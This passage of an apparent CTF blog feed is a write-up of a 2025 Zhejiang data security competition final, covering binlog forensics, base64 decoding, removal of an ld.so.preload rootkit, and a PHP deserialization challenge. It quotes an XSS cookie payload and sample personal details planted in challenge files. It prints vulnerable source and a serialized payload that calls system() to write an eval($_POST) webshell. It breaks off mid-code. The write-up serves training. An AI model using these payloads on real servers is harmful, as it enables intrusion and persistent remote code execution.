  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><code>DASCTF{5521a971-9bed-11ef-bfda-14ac6024b6a8}</code></p>
]]></content:encoded><h:img src="https://h4cker.zip/322f5b/NingBo_8th_Cover.webp"/><enclosure url="https://h4cker.zip/322f5b/NingBo_8th_Cover.webp"/><category>UAF</category><category>AES</category><category>RSA</category></item><item><title>2025浙江省信息通信协会数据安全大赛决赛WriteUp</title><link>https://h4cker.zip/925ae0/</link><pubDate>Sun, 17 Aug 2025 15:39:50 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/925ae0/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>初赛忘了保存，翻了下文件，决赛的附件题就记得几道，其他的都是在线的，没写wp</p>
<p>决赛做出来个人赛几题（secret、大浪淘金方显英雄本色，其他的就忘记了），个人赛能进前7吧。团队赛两个场景题，各有10个flag，工控环境和测试环境。分别外网打内网打到里面好几层，做代理链之类，很可惜，没做出来后面的。第二个场景要制作字典爆破密码，由于进入后台也没成功写文件，这里就不写了，我做的都是简单的，其他wp是来自QK的</p>
<p>相关附件在：https://github.com/TajangSec/2025_ZJ_TGJ_competition</p>
<h2 id="个人赛">个人赛<a class="anchor" href="#个人赛">#</a></h2>
<h3 id="勒索病毒">勒索病毒<a class="anchor" href="#勒索病毒">#</a></h3>
<p>检查mysql binlog文件，在binlog.000003中有flag</p>
<p>命令：<code>cat /var/lib/mysql/binlog.000003</code></p>
<h3 id="secret">secret<a class="anchor" href="#secret">#</a></h3>
<p>V20xNGFGb3pkR3RaV0ZKb1dETk9iRmt6Vm5saFdGSTFXREpzZWxneldteGpibXhtWVZjMU1GcFlTbXhqTTFKd1ltMWtPUT09</p>
<p>三次base64</p>
<h3 id="大浪淘金方显英雄本色">大浪淘金方显英雄本色<a class="anchor" href="#大浪淘金方显英雄本色">#</a></h3>
<p>每种类型文件都被植入了恶意代码或错误代码，请找出，拼接文件名，md5编码后为flag</p>
<p>要求：Hint2：拼接顺序遵循txt&gt;png&gt;pdf的原则，同种⽂件遵循⾸字⺟⼤写&gt;⾸字⺟⼩写&gt;⾸字⺟数字，a-z/0-9的顺序
Hint3：示例：xxxx.txt,xxxx.png,xxxx.pdf</p>
<p>做完两边还在问我&gt;&lt;</p>
<p>我电脑有河马查杀，所以扫了一下直接出来5个含有一句话的png</p>
<p>txt是一个个看的</p>
<p>pdf是很多人搞不出来的地方，这里并不是pdf内容有恶意代码</p>
<p>我用的<code>exiftool .</code>，然后搜索id时，发现了invalid，总共有五个文件有这个提示</p>
<p>所以这五个就出来了，没想到这题很多人没做出来。</p>
<p>贴一下QK的这题解法</p>
<blockquote>
<p>txt: 用cat * ,然后人肉找</p>
<p>异常字符有：</p>
<p><code>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code></p>
<p>紫薇小区42号</p>
<p>625311200504206457</p>
<p>15522489864</p>
<p>李丽华</p>
<p>png：用strings可以找到一句话木马</p>
<p>pdf: 用acrobat预览，会发现有5个文件没有预览图</p>
</blockquote>
<p>预览图，离谱</p>
<h3 id="运维题qk太强了">运维题（QK太强了）<a class="anchor" href="#运维题qk太强了">#</a></h3>
<p>这题真不会</p>
<p>查看<code>/etc/passwd</code>，发现恶意用户<code>badguy</code>，但是删不掉</p>
<p><img
  src="/925ae0/2025_ZJ_TGJ_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1405" height="1093"
/>
</p>
<p>根据给的提示查看<code>/etc/ld.so.preload</code></p>
<p><img
  src="/925ae0/2025_ZJ_TGJ_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2076" height="308"
/>
</p>
<p>发现<code>libhash.so</code>，cat一下发现关键字<code>sysproc</code></p>
<p><img
  src="/925ae0/2025_ZJ_TGJ_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2076" height="512"
/>
</p>
<p>将<code>/etc/ld.so.preload</code>、<code>libhash.so</code>删除，再<code>ps -ef</code>查看进程，可以发现sysproc（未删除前面两个文件时该进程不可见）</p>
<p><img
  src="/925ae0/2025_ZJ_TGJ_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2075" height="384"
/>
</p>
<p>将<code>sysproc kill</code>掉，找到文件所在位置，删除文件</p>
<p><img
  src="/925ae0/2025_ZJ_TGJ_5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2070" height="116"
/>
</p>
<p>随后删除badguy</p>
<p><img
  src="/925ae0/2025_ZJ_TGJ_6.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1581" height="457"
/>
</p>
<p>再次查看check文件时已经有flag了（这里我还盲删了<code>/root/.ssh</code>，但猜测应该和本题关系不大）</p>
<p><img
  src="/925ae0/2025_ZJ_TGJ_7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2071" height="758"
/>
</p>
<h2 id="团队赛">团队赛<a class="anchor" href="#团队赛">#</a></h2>
<h3 id="web1">WEB1<a class="anchor" href="#web1">#</a></h3>
<p>访问www.zip下载源代码，审计代码</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="nx">header</span><span class="p">(</span><span class="s2">&#34;content-type:text/html;charset=utf-8&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">include</span><span class="p">(</span><span class="s2">&#34;lib/manager.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="c1">// 配置项
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="nx">define</span><span class="p">(</span><span class="s1">&#39;AUTH_USER&#39;</span><span class="p">,</span> <span class="s1">&#39;admin&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="nx">define</span><span class="p">(</span><span class="s1">&#39;AUTH_PASS&#39;</span><span class="p">,</span> <span class="s1">&#39;admin@123&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="nx">define</span><span class="p">(</span><span class="s1">&#39;SESSION_COOKIE&#39;</span><span class="p">,</span> <span class="s1">&#39;portal_session&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="nv">$userInput</span> <span class="o">=</span> <span class="nx">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">])</span> <span class="o">?</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">]</span> <span class="o">:</span> <span class="k">die</span><span class="p">(</span><span class="s1">&#39;Access denied: username required&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="nv">$passInput</span> <span class="o">=</span> <span class="nx">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;pass&#39;</span><span class="p">])</span> <span class="o">?</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;pass&#39;</span><span class="p">]</span> <span class="o">:</span> <span class="k">die</span><span class="p">(</span><span class="s1">&#39;Access denied: password required&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nv">$userInput</span> <span class="o">===</span> <span class="nx">AUTH_USER</span> <span class="o">&amp;&amp;</span> <span class="nv">$passInput</span> <span class="o">===</span> <span class="nx">AUTH_PASS</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="k">echo</span> <span class="s1">&#39;&lt;script&gt;alert(&#34;Authentication successful!&#34;)&lt;/script&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="k">echo</span> <span class="s2">&#34;&lt;h2&gt;Industrial Control Portal&lt;/h2&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="k">echo</span> <span class="s2">&#34;&lt;p&gt;Authenticated as: &#34;</span> <span class="o">.</span> <span class="nx">htmlspecialchars</span><span class="p">(</span><span class="nv">$userInput</span><span class="p">)</span> <span class="o">.</span> <span class="s2">&#34;&lt;/p&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="nx">SESSION_COOKIE</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="nv">$sessionObj</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">PortalUser</span><span class="p">(</span><span class="nx">AUTH_USER</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="nv">$encodedData</span> <span class="o">=</span> <span class="nx">base64_encode</span><span class="p">(</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$sessionObj</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="nx">setcookie</span><span class="p">(</span><span class="nx">SESSION_COOKIE</span><span class="p">,</span> <span class="nv">$encodedData</span><span class="p">,</span> <span class="nx">time</span><span class="p">()</span><span class="o">+</span><span class="mi">3600</span><span class="p">,</span> <span class="s2">&#34;/&#34;</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">,</span> <span class="k">false</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="k">echo</span> <span class="s2">&#34;&lt;p&gt;Session initialized&lt;/p&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="nv">$serializedData</span> <span class="o">=</span> <span class="nx">base64_decode</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="nx">SESSION_COOKIE</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="nx">unserialize</span><span class="p">(</span><span class="nv">$serializedData</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="k">echo</span> <span class="s1">&#39;&lt;div class=&#34;dashboard&#34;&gt;
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="s1">            &lt;h3&gt;Device Monitoring&lt;/h3&gt;
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="s1">            &lt;p&gt;Connected devices: 15&lt;/p&gt;
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="s1">            &lt;p&gt;Firmware version: v3.1.2&lt;/p&gt;
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="s1">          &lt;/div&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="k">echo</span> <span class="s2">&#34;&lt;script&gt;alert(&#39;Invalid credentials!&#39;);window.location.href=&#39;./index.html&#39;;&lt;/script&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><div class="title text-sm text-muted-foreground px-3 py-1 rounded-lg border">auth.php</div><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这部分代码表示当用户名密码正确时，会将cookie中的portal_session字段进行反序列化</p>
<p>接下来寻找可执行命令的类，由于auth.php在头部加载了manager.php，重点检查manager.php，找到执行代码类</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">include</span><span class="p">(</span><span class="s2">&#34;logger.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">class</span> <span class="nc">AccessGreeter</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">public</span> <span class="nv">$greetingCallback</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">handleAccess</span><span class="p">(</span><span class="nv">$visitor</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">greetingCallback</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">            <span class="nx">call_user_func</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">greetingCallback</span><span class="p">,</span> <span class="nv">$visitor</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">            <span class="k">echo</span> <span class="s2">&#34;Access granted for &#34;</span> <span class="o">.</span> <span class="nx">htmlspecialchars</span><span class="p">(</span><span class="nv">$visitor</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="k">class</span> <span class="nc">PortalUser</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="k">private</span> <span class="nv">$userIdentifier</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="k">private</span> <span class="nv">$accessHandler</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$identifier</span><span class="p">,</span> <span class="nv">$handler</span> <span class="o">=</span> <span class="k">null</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">userIdentifier</span> <span class="o">=</span> <span class="nv">$identifier</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">accessHandler</span> <span class="o">=</span> <span class="nv">$handler</span> <span class="o">?</span> <span class="nv">$handler</span> <span class="o">:</span> <span class="k">new</span> <span class="nx">AccessGreeter</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">accessHandler</span><span class="o">-&gt;</span><span class="na">handleAccess</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">userIdentifier</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="k">class</span> <span class="nc">EquipmentInterface</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="k">public</span> <span class="nv">$deviceCode</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">public</span> <span class="nv">$operation</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__wakeup</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">operation</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">            <span class="nx">call_user_func</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">operation</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">deviceCode</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><div class="title text-sm text-muted-foreground px-3 py-1 rounded-lg border">manager.php</div><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>最后构造反序列化</p>
<p><img
  src="/925ae0/2025_ZJ_TGJ_8.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2077" height="257"
/>
</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">O:18:<span class="s2">&#34;EquipmentInterface&#34;</span>:2:<span class="o">{</span>s:10:<span class="s2">&#34;deviceCode&#34;</span><span class="p">;</span>s:41:<span class="s2">&#34;echo &#34;</span>&lt;?php eval<span class="o">(</span><span class="nv">$_POST</span><span class="o">[</span>1<span class="o">])</span><span class="p">;</span>?&gt;<span class="s2">&#34; &gt; 111.php&#34;</span><span class="p">;</span>s:9:<span class="s2">&#34;operation&#34;</span><span class="p">;</span>s:6:<span class="s2">&#34;system&#34;</span><span class="p">;</span><span class="o">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
